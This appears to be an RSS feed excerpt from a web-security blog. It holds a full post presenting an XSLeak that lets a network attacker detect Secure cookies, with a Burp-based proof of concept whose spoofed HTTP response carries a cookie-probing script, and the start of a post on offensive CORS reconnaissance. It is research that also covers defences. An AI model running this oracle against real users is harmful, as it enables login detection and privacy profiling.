<p>Although I&rsquo;ve endeavoured to avoid past design mistakes of others,
I&rsquo;ve likely made brand new ones myself.
If you disagree with <em>Fearless CORS</em>,
or perceive shortcomings (bugs, missing features, misfeatures, etc.)
in <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>,
please <a href="https://github.com/jub0bs/fcors/issues/new" target="_blank" rel="noopener">open an issue on GitHub</a></p>
<p>Finally, if your language of choice isn&rsquo;t Go and lacks a good CORS library,
feel free to draw inspiration from <em>Fearless CORS</em>
to implement a better CORS library for that language;
and do let me know how it goes!</p>
<h2 id="acknowledgements">Acknowledgements <a href="#acknowledgements">¶</a></h2>
<p>I&rsquo;m indebted to both Michael Smith
(a.k.a. <a href="https://stackoverflow.com/users/441757/sideshowbarker" target="_blank" rel="noopener">sideshowbarker on Stack Overflow</a> and elsewhere)
and <a href="https://bsky.app/profile/matryer.bsky.social" target="_blank" rel="noopener">Mat Ryer</a> for generously taking
the time to read an early draft of this particularly lengthy post
and giving me valuable tips on how to improve it.</p>
<p>I&rsquo;m also grateful to <a href="https://annevankesteren.nl" target="_blank" rel="noopener">Anne Van Kesteren</a> and <a href="https://jakearchibald.com" target="_blank" rel="noopener">Jake Archibald</a>
for clarifying aspects of the CORS protocol that initially tripped me up,
and to <a href="https://github.com/letitz" target="_blank" rel="noopener">Titouan Rigoudy</a>
for elucidating some of the finer points of Private Network Access.</p>
<p>Finally, although I&rsquo;ve never interacted with them directly,
<a href="https://bsky.app/profile/joshbloch.bsky.social" target="_blank" rel="noopener">Joshua Bloch</a> and <a href="https://web.stanford.edu/~ouster/cgi-bin/home.php" target="_blank" rel="noopener">John Ousterhout</a>,
through their books and talks,
had a profound impact on <em>Fearless CORS</em>.</p>
]]></content>
        </item>
        
        <item>
            <title>Existence oracle for Secure cookies on insecure Web origins</title>
            <link>//jub0bs.com/posts/2022-09-11-existence-oracle-for-secure-cookies-on-insecure-web-origins/</link>
            <pubDate>Mon, 12 Sep 2022 07:30:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2022-09-11-existence-oracle-for-secure-cookies-on-insecure-web-origins/</guid>
            <description>&lt;h3 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In this post, I present an &lt;a href=&#34;https://xsleaks.dev/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;XSLeak&lt;/a&gt; technique that allows an active network attacker
to observe, from an insecure Web origin, the presence or absence of some &lt;code&gt;Secure&lt;/code&gt; cookie
that may have been set by the origin&amp;rsquo;s secure counterpart.&lt;/p&gt;
&lt;h3 id=&#34;cookies-crumbly-beginnings&#34;&gt;Cookies&amp;rsquo; crumbly beginnings &lt;a href=&#34;#cookies-crumbly-beginnings&#34;&gt;¶&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Netscape (&lt;a href=&#34;https://en.wikipedia.org/wiki/Lou_Montulli&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Lou Montulli&lt;/a&gt;, more precisely)
&lt;a href=&#34;https://web.archive.org/web/19961027104920/http://www3.netscape.com/newsref/std/cookie_spec.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;invented cookies in 1994&lt;/a&gt;
in order to introduce persistent client state in the otherwise stateless
Hypertext Transfer Protocol (HTTP).
Back in the day, the Web was much more static than it is today.
But with the advent of scripting capabilities in browsers shortly afterwards,
new rules, which became collectively known as the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Same-Origin Policy (SOP)&lt;/a&gt;,
had to be built into browsers in order to protect Web origins from one another.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h3 id="tldr">TL;DR <a href="#tldr">¶</a></h3>
<p>In this post, I present an <a href="https://xsleaks.dev/" target="_blank" rel="noopener">XSLeak</a> technique that allows an active network attacker
to observe, from an insecure Web origin, the presence or absence of some <code>Secure</code> cookie
that may have been set by the origin&rsquo;s secure counterpart.</p>
<h3 id="cookies-crumbly-beginnings">Cookies&rsquo; crumbly beginnings <a href="#cookies-crumbly-beginnings">¶</a></h3>
<p>Netscape (<a href="https://en.wikipedia.org/wiki/Lou_Montulli" target="_blank" rel="noopener">Lou Montulli</a>, more precisely)
<a href="https://web.archive.org/web/19961027104920/http://www3.netscape.com/newsref/std/cookie_spec.html" target="_blank" rel="noopener">invented cookies in 1994</a>
in order to introduce persistent client state in the otherwise stateless
Hypertext Transfer Protocol (HTTP).
Back in the day, the Web was much more static than it is today.
But with the advent of scripting capabilities in browsers shortly afterwards,
new rules, which became collectively known as the <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" target="_blank" rel="noopener">Same-Origin Policy (SOP)</a>,
had to be built into browsers in order to protect Web origins from one another.</p>
<hr>
<p>Fabian Fäßler (a.k.a. <a href="https://liveoverflow.com" target="_blank" rel="noopener">LiveOverflow</a>) recently released a
<a href="https://www.youtube.com/watch?v=bSJm8-zJTzQ" target="_blank" rel="noopener">video retrospective</a> about the SOP, which is well worth a watch.</p>
<hr>
<p>However, because cookies predated the SOP and were already in common use,
they never played by the SOP&rsquo;s rules.
More specifically, cookies are not (<a href="https://github.com/sbingler/Origin-Bound-Cookies" target="_blank" rel="noopener">yet?</a>) <em>origin-bound</em>:
a cookie jar keys cookies by their (name, domain, path) triple,
but a <a href="https://developer.mozilla.org/en-US/docs/Glossary/Origin" target="_blank" rel="noopener">Web origin</a> is a (scheme, host, port) triple.
The <a href="https://httpwg.org/" target="_blank" rel="noopener">IETF HTTP Working Group</a> has since been hard at work
to incrementally improve cookies&rsquo; security model and bridge the gap to the SOP,
careful to minimise breakage of existing Web applications in the process.</p>
<p><img src="/images/cookies.jpg" alt="A plate of cookies"></p>
<h3 id="strict-secure-cookies">Strict Secure Cookies <a href="#strict-secure-cookies">¶</a></h3>
<p>One such incremental change,
<a href="https://chromestatus.com/feature/4506322921848832" target="_blank" rel="noopener">nicknamed &ldquo;Strict Secure Cookies&rdquo;</a> by the Chromium team,
addressed some issues related to the integrity of cookies marked <code>Secure</code>.
The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#secure" target="_blank" rel="noopener"><code>Secure</code> cookie attribute</a>, from its inception,
prevented insecure Web origins (e.g. origins whose scheme is <code>http</code>)
from <em>accessing</em> cookies that were set with that attribute.
However, there was a time when insecure origins could still create, delete,
or indirectly evict <code>Secure</code> cookies;
and the browser would send cookies created by an insecure context to secure origins,
which had no way of determining whether those cookies where created
in a secure or an insecure context.
Therefore, attacks like <a href="https://owasp.org/www-community/attacks/Session_fixation" target="_blank" rel="noopener">session fixation</a>
from an <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack" target="_blank" rel="noopener">active network attacker</a> remained a concern.</p>
<p>The <a href="https://tools.ietf.org/html/draft-west-leave-secure-cookies-alone-01" target="_blank" rel="noopener">Strict Secure Cookies proposal</a>
(<a href="https://bsky.app/profile/mikewe.st" target="_blank" rel="noopener">Mike West</a>, 2015) remedied the situation
by forbidding insecure origins to</p>
<ol>
<li>create cookies marked Secure, and</li>
<li><em>overlaying</em> (i.e. <em>masking</em> or <em>shadowing</em>) an existing <code>Secure</code> cookie
with a non-<code>Secure</code> cookie.</li>
</ol>
<p>The second restriction, which I&rsquo;ll call the <em>overlaying restriction</em>,
is pivotal in the XSLeak technique discussed in the rest of this post.
Because its mechanics are a bit technical, I&rsquo;m including the relevant step of
the storage algorithm from <a href="https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis-01#section-5.3" target="_blank" rel="noopener">RFC 6265 bis (version 01)</a>
here for completeness:</p>
<blockquote>
<p>If the cookie&rsquo;s secure-only-flag is not set, and the scheme
component of request-uri does not denote a &ldquo;secure&rdquo; protocol,
then abort these steps and ignore the cookie entirely if the
cookie store contains one or more cookies that meet all of the
following criteria:</p>
<ol>
<li>Their name matches the name of the newly-created cookie.</li>
<li>Their secure-only-flag is true.</li>
<li>Their domain domain-matches the domain of the newly-created cookie, or vice-versa.</li>
<li>The path of the newly-created cookie path-matches the path of the existing cookie.</li>
</ol>
</blockquote>
<p>Nowadays, this behaviour is supported in all modern browsers;
and this change was undoubtedly welcome, because it solved some of
cookies&rsquo; integrity issues.
However, while perusing the whole series of cookie-related RFCs,
I realised that Strict Secure Cookies&rsquo; overlaying restriction sacrificed
<em>some</em> confidentiality for integrity.</p>
<h3 id="existence-oracle-for-a-secure-cookie">Existence oracle for a <code>Secure</code> cookie <a href="#existence-oracle-for-a-secure-cookie">¶</a></h3>
<p>Consider a cookie</p>
<ul>
<li>named <code>foo</code></li>
<li>whose domain field is <code>example.com</code>,</li>
<li>whose path field is <code>/</code>,</li>
<li>marked <code>Secure</code>.</li>
</ul>
<p>The overlaying restriction indeed allows insecure origin <code>http://example.com</code>
to determine whether such a cookie exists in the browser&rsquo;s cookie jar. How?
The insecure origin can attempt to set such a cookie
(albeit without a <code>Secure</code> attribute)
and then immediately test whether it&rsquo;s present in the cookie string returned by
<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie" target="_blank" rel="noopener"><code>document.cookie</code></a>.</p>
<p>Therefore, an active network attacker,
despite being unable to decrypt his victim&rsquo;s traffic,
may be able to observe the existence of a <code>Secure</code> cookie
in his victim&rsquo;s browser.</p>
<p>When I asked Mike West himself about this on the blue site that shall not be
named, he confirmed that the overlaying restriction poses a confidentiality
problem but hinted that we shouldn&rsquo;t expect a proper fix any time soon:</p>
<blockquote>
<p>It&rsquo;s certainly true that there&rsquo;s an information leak here. Ideally, we&rsquo;ll fix
it by splitting the world into secure and non-secure origins, possibly
through something like <a href="https://github.com/sbingler/Origin-Bound-Cookies" target="_blank" rel="noopener">https://github.com/sbingler/Origin-Bound-Cookies</a> or
<a href="https://github.com/mikewest/scheming-cookies" target="_blank" rel="noopener">https://github.com/mikewest/scheming-cookies</a>.</p>
</blockquote>
<hr>
<p>Under the condition that the target website be vulnerable to <a href="https://owasp.org/www-community/attacks/xss/" target="_blank" rel="noopener">cross-site scripting</a>,
a similar technique can actually be used to detect
the existence of a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#httponly" target="_blank" rel="noopener"><code>HttpOnly</code></a> cookie,
because browsers ignore attempts to update a <code>HttpOnly</code> cookie via a &ldquo;non-HTTP&rdquo; API
(e.g. <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie" target="_blank" rel="noopener"><code>document.cookie</code></a>).
For more details, refer to step 22 in
<a href="https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis/#section-5.5" target="_blank" rel="noopener">section 5.5 of RFC 6265 bis (version 10)</a>.</p>
<hr>
<h3 id="proof-of-concept">Proof of concept <a href="#proof-of-concept">¶</a></h3>
<p>A proof of concept is worth a thousand words. For this example,
I&rsquo;ll use the actual <code>https://example.com</code> website and a cookie named &ldquo;foo&rdquo;.
In order to simulate an active network attacker,
I&rsquo;ll use <a href="https://portswigger.net/burp/communitydownload" target="_blank" rel="noopener">Burp Suite Community</a>&rsquo;s intercepting Web proxy.</p>
<ol>
<li>Start Burp and the associated proxied browser.</li>
<li>On Burp&rsquo;s Proxy tab, make sure the intercept functionality is turned off.</li>
<li>Visit secure origin <code>https://example.com</code>.</li>
<li>Optional: Open your browser&rsquo;s Console and run the following JavaScript code:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>document.<span style="color:#a6e22e">cookie</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;foo=; Secure&#39;</span>;
</span></span></code></pre></div>There should now be a cookie whose triple is (<code>foo</code>, <code>example.com</code>, <code>/</code>)
and that is marked <code>Secure</code> in your browser.</li>
<li>On Burp&rsquo;s Proxy tab, turn the intercept functionality on.</li>
<li>Visit insecure origin <code>http://example.com</code>.</li>
<li>On Burp&rsquo;s Proxy tab, right-click on the request resulting from step 6
and select <em>Do intercept &raquo; Response to this request</em>.</li>
<li>Forward the request unaltered.</li>
<li>As the active network attacker, replace the entire response to that request
by the following:
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/html; charset=UTF-8</span>
</span></span><span style="display:flex;"><span>Set-Cookie<span style="color:#f92672">:</span> <span style="color:#ae81ff">foo=</span>
</span></span><span style="display:flex;"><span>Connection<span style="color:#f92672">:</span> <span style="color:#ae81ff">close</span>
</span></span><span style="display:flex;"><span>Content-Length<span style="color:#f92672">:</span> <span style="color:#ae81ff">156</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">found</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/(^|; )foo=/</span>.<span style="color:#a6e22e">test</span>(document.<span style="color:#a6e22e">cookie</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">found</span>) {
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">cookie</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;foo=; Max-Age=-1&#34;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">alert</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">found</span>);
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>Forward the response spoofed at step 9.</li>
</ol>
<p>An alert modal will pop up and indicate the truth of the following statement:</p>
<blockquote>
<p>A <code>Secure</code> cookie named <code>foo</code> exist in the victim&rsquo;s browser.</p>
</blockquote>
<p>If you created a <code>Secure</code> cookie named &ldquo;foo&rdquo; at the optional fourth step,
the creation of a non-<code>Secure</code> cookie named &ldquo;foo&rdquo; (see line 3) fails,
thanks to the overlaying restriction.
Therefore, no cookie named &ldquo;foo&rdquo; can be found in the cookie string
produced for the insecure origin,
and the alert modal shows &ldquo;true&rdquo;.</p>
<p>Now clear the <code>Secure</code> cookie named &ldquo;foo&rdquo; and repeat all those steps (bar step 4).
This time, unencombered by a <code>Secure</code> counterpart,
a non-<code>Secure</code> cookie named &ldquo;foo&rdquo; <em>can</em> be created.
Therefore, it is present in the cookie string produced for the insecure origin,
is immediately expired (see line 10) for maximum stealth,
and the alert modal shows &ldquo;false&rdquo;.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/qOSlSP0dYhw?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<hr>
<p>Edit: Actually, as <a href="https://github.com/haxatron" target="_blank" rel="noopener">@Haxatron</a> reminded me on the blue site that
shall not me named, Strict Secure Cookies didn&rsquo;t actually solve <em>all</em> of
<code>Secure</code> cookies&rsquo; integrity problems; more specifically, the overlaying
restriction doesn&rsquo;t prevent an insecure origin from beating its secure
counterpart in the race to create a specific cookie (albeit without a <code>Secure</code>
attribute), as this PoC demonstrates.  <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#cookie_prefixes" target="_blank" rel="noopener">Cookie name prefixes</a>
do help address this concern, though; for more on this topic, see this
<a href="https://security.stackexchange.com/questions/159004/strict-secure-cookies-vs-cookie-prefixes" target="_blank" rel="noopener">Security Stack Exchange Q&amp;A</a>.</p>
<hr>
<h3 id="impact">Impact <a href="#impact">¶</a></h3>
<p>Active network attackers (such as shady coffee-shop owners or even ethically challenged ISPs)
may be able to weaponise this technique for <a href="https://xsleaks.dev/#cross-site-oracles" target="_blank" rel="noopener">login oracles</a>.
By targeting websites that rely on a <code>Secure</code> cookie for identifying sessions,
attackers may indeed be able to determine whether their victims are logged in to that website.</p>
<p>The victims may only ever willingly interact with the target over HTTPS;
attackers would only need to spoof the response to their victims&rsquo; first request
to <em>any</em> insecure origin and redirect them to the target insecure origin
before spoofing the response (as described in step 7 of my PoC) to the resulting request.</p>
<p>In the grand scheme—no pun intended—of things, this technique could be abused
by nefarious actors in order to profile people on the basis of which websites
(news outlets, dating sites, etc.) they are logged in to.</p>
<h3 id="defences">Defences <a href="#defences">¶</a></h3>
<p>The best defence against this privacy attack (and many more!) is to set up
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security" target="_blank" rel="noopener">HTTP Strict Transport Security (HSTS)</a> on your website and,
while you&rsquo;re at it, submit your domain name for <a href="https://hstspreload.org/" target="_blank" rel="noopener">HSTS preload</a>.
HSTS, if preloaded, effectively prevents browser access to resources
on your domain over an insecure channel.
However, in case you need (for some questionable reason)
to maintain browser access to insecure origins on that domain,
HSTS is clearly not an option for you.</p>
<p>An alternative, more granular defence consists in changing the name(s) of the cookie(s)
that you want to protect and use some <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#cookie_prefixes" target="_blank" rel="noopener">cookie name prefix</a>.
That would do the trick because browsers do not allow insecure origins to set prefixed cookies.
The <code>__Secure-</code> cookie name prefix would be enough but,
you may also opt for the confusingly named yet more secure <code>__Host-</code> cookie name prefix,
if you don&rsquo;t find it too restrictive.
However, if the cookie in question is used for authentication,
bear in mind that changing its name will effectively log all your users out.</p>
<h3 id="conclusion">Conclusion <a href="#conclusion">¶</a></h3>
<p>A trope of information security is the
<a href="https://www.f5.com/labs/articles/education/what-is-the-cia-triad" target="_blank" rel="noopener">CIA (Confidentiality, Integrity, Availability) triad</a>.
Striking a balance between the three aspects is a difficult exercise, as
none of the them can typically be changed without detrimental effects on the other two.
Strict Secure Cookies is no exception: it traded <em>some</em> confidentiality for integrity.
Until a distant future where cookies have truly become origin-bound,
the Web will likely remain haunted by cookies&rsquo; infelicities.</p>
<h3 id="acknowledgments">Acknowledgments <a href="#acknowledgments">¶</a></h3>
<p>Thanks to <a href="https://ankursundara.com/" target="_blank" rel="noopener">Ankur Sundara</a>, who kindly agreed to review a draft of this post before publication.</p>
]]></content>
        </item>
        
        <item>
            <title>Scraping the bottom of the CORS barrel (part 1)</title>
            <link>//jub0bs.com/posts/2022-08-04-scraping-the-bottom-of-the-cors-barrel-part1/</link>
            <pubDate>Thu, 04 Aug 2022 20:05:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2022-08-04-scraping-the-bottom-of-the-cors-barrel-part1/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://jameskettle.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;James Kettle&lt;/a&gt;&amp;rsquo;s &lt;a href=&#34;https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;2016 research&lt;/a&gt;
was instrumental in raising awareness of the deleterious effects of
&lt;a href=&#34;https://en.wikipedia.org/wiki/Cross-origin_resource_sharing&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CORS (Cross-Origin Resource Sharing)&lt;/a&gt; misconfiguration
on Web security.
Does the story end there, though?
Is writing about CORS-related security issues in 2022 futile?
I don&amp;rsquo;t think so.&lt;/p&gt;
&lt;p&gt;This post is the first in a series in which I will discuss
more minor CORS-related issues and present lesser-known detection techniques.
My primary audience is people on the offensive side,
but folks on the defensive side may also find this series interesting.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://jameskettle.com" target="_blank" rel="noopener">James Kettle</a>&rsquo;s <a href="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" target="_blank" rel="noopener">2016 research</a>
was instrumental in raising awareness of the deleterious effects of
<a href="https://en.wikipedia.org/wiki/Cross-origin_resource_sharing" target="_blank" rel="noopener">CORS (Cross-Origin Resource Sharing)</a> misconfiguration
on Web security.
Does the story end there, though?
Is writing about CORS-related security issues in 2022 futile?
I don&rsquo;t think so.</p>
<p>This post is the first in a series in which I will discuss
more minor CORS-related issues and present lesser-known detection techniques.
My primary audience is people on the offensive side,
but folks on the defensive side may also find this series interesting.</p>
<p>I do not present the fundamentals of the CORS protocol here.
If you need to familiarise yourself with the protocol,
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener">MDN Web Docs&rsquo; introduction</a> is a good starting point.</p>
<h3 id="test-resources-not-just-domains">Test resources, not just domains <a href="#test-resources-not-just-domains">¶</a></h3>
<p>Not only can CORS be configured at different layers of the tech stack
(reverse proxy, origin server, etc.),
it can also be configured at different levels of granularity.
For example, <a href="https://expressjs.com/en/resources/middleware/cors.html" target="_blank" rel="noopener">Express&rsquo;s CORS middleware</a> allows developers to
configure CORS not just <a href="https://expressjs.com/en/resources/middleware/cors.html#simple-usage-enable-all-cors-requests" target="_blank" rel="noopener">for the whole server</a>,
but also <a href="https://expressjs.com/en/resources/middleware/cors.html#enable-cors-for-a-single-route" target="_blank" rel="noopener">for individual routes</a>.
When hunting for CORS misconfigurations on a given domain, bear in mind that
some resources may be CORS-aware and others not, and that
different CORS-aware resources may have different CORS configurations.
Testing for CORS awareness and misconfiguration of only a single path
on your target domain would be a mistake,
because you may fail to detect misconfigured CORS-aware resources on that domain.</p>
<h3 id="broaden-your-search-for-allowed-origins">Broaden your search for allowed origins <a href="#broaden-your-search-for-allowed-origins">¶</a></h3>
<p>Because the CORS protocol only tolerates a single serialized-origin value in the
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin" target="_blank" rel="noopener"><code>Access-Control-Allow-Origin</code> response header</a>,
the set of allowed origins (if any) doesn&rsquo;t readily reveal itself to attackers.
In contrast, the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src" target="_blank" rel="noopener"><code>script-src</code> directive</a>
of a page&rsquo;s <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy" target="_blank" rel="noopener">Content Security Policy</a>
explicitly specifies sources for JavaScript that are valid for the page.</p>
<hr>
<h4 id="historical-note">Historical note <a href="#historical-note">¶</a></h4>
<p>The W3C&rsquo;s <a href="https://www.w3.org/TR/2009/WD-cors-20090317/" target="_blank" rel="noopener">2009 Working Draft about CORS</a> did make provision
for a multivalued <code>Origin</code> header,
<a href="rfc6454">as did RFC 6454 (entitled &ldquo;The Web Origin Concept&rdquo;)</a>.
However, no major browser has ever supported this feature, which led the W3C
to revise its stance in <a href="https://www.w3.org/TR/2013/CR-cors-20130129/" target="_blank" rel="noopener">its 2013 Candidate Recommendation</a>.
The <a href="https://fetch.spec.whatwg.org" target="_blank" rel="noopener">Fetch Standard</a>, which has since supplanted the latter
as the official specification of the CORS protocol,
<a href="https://fetch.spec.whatwg.org/#origin-header" target="_blank" rel="noopener">does not support a multi-valued <code>Origin</code> header</a>.</p>
<hr>
<p>To even detect CORS awareness,
let alone infer as much of the set of trusted origins as possible,
you often have no other choice but dynamic analysis,
treating the server as an oracle
and repeatedly asking it yes-or-no questions, one candidate origin at a time:</p>
<blockquote>
<p>Client: Do you allow this origin?</p>
<p>Server: No.</p>
<p>Client: Ok&hellip; What about that one?</p>
<p>Server: Nope. Keep trying.</p>
<p>Client: How about this other one?</p>
<p>Server: Yes, I do.</p>
</blockquote>
<p>A good first step, according to <a href="https://www.youtube.com/watch?v=wgkj4ZgxI4c&amp;t=20m15s" target="_blank" rel="noopener">accepted wisdom</a>,
consists in supplying the origin of the resource itself:
for instance, if resource <code>https://example.com/whatever</code> is configured for CORS,
it likely allows its own origin, <code>https://example.com</code>.</p>
<p>However, I&rsquo;ve run into a few cases where resource <code>https://example.com/whatever</code>
is configured for CORS and allows origin <code>https://foo.example.com</code>,
but does <em>not</em> allow origin <code>https://example.com</code>
or any subdomain of <code>example.com</code> other than <code>foo.example.com</code>.
Had I not enumerated the subdomains of <code>example.com</code>
and fed them to my dynamic analysis of the target,
I would likely have failed to detect that it was even configured for CORS,
because the responses to most of my probing requests didn&rsquo;t contain
any CORS response headers.</p>
<p>Beyond subdomains, which other origins is the resource of interest likely
to allow in its CORS configuration (if any)?
A promising source of candidate origins is other domains owned by your target,
as well as their subdomains.
A couple of reverse-WHOIS searches can reveal many of those domain names.</p>
<p>Don&rsquo;t stop there.
Meiser et al., in a fascinating <a href="https://hal.archives-ouvertes.fr/hal-03021256/document" target="_blank" rel="noopener">2021 paper entitled <em>Careful Who You Trust:
Studying the Pitfalls of Cross-Origin Communication</em></a>,
suggest that useful clues can be gleaned from your target&rsquo;s
<code>/crossdomain.xml</code> (Flash) and <code>/clientaccesspolicy.xml</code> (Silverlight) resources,
if those resources exist on the server.
In my experience, theirs is a good tip.
Looking those pages up on the <a href="https://web.archive.org/" target="_blank" rel="noopener">Wayback Machine</a>
may also yield a few additional candidate origins.
Furthermore, as Meiser et al. rightly point out, the listing of <code>https://a.com</code>
in the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src" target="_blank" rel="noopener"><code>connect-src</code> CSP directive</a> of <code>https://b.com</code>
is a good indication that <code>https://a.com</code> allows origin <code>https://b.com</code>
in its CORS configuration.</p>
<h3 id="unescaped-periods-in-the-etld1-part-of-a-regexp">Unescaped periods in the eTLD+1 part of a regexp <a href="#unescaped-periods-in-the-etld1-part-of-a-regexp">¶</a></h3>
<p>Many CORS configurations that intend to allow multiple origins rely on some
regular expression for origin validation.
In some cases, the regexp is flawed, insofar as it matches more origins than
intended by the developers.
A common blunder consists in using unescaped periods
to represent DNS label separators in the regexp.</p>
<p>Through dynamic analysis of your target, you may be able to infer that the developers,
in order to allow <code>https://example.com</code> and arbitrary subdomains thereof,
are using something like the following regexp for origin validation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>^https:\/\/(.*\.)?example.com$
</span></span></code></pre></div><p>Note that the period separating the subdomain DNS label from the eTLD+1 (<code>example.com</code>)
is escaped as it should, which precludes attacks from origins like <code>https://notexample.com</code>.
If you cannot find some XSS or subdomain takeover on a subdomain of <code>example.com</code>,
you should give up and focus your efforts elsewhere.</p>
<p>Attentive readers may have noticed the presence of an unescaped period
between the TLD (<code>com</code>) and <a href="https://en.wikipedia.org/wiki/Second-level_domain" target="_blank" rel="noopener">second-level domain</a> (<code>example</code>).
Is this tantalising omission of an escape exploitable in some way?
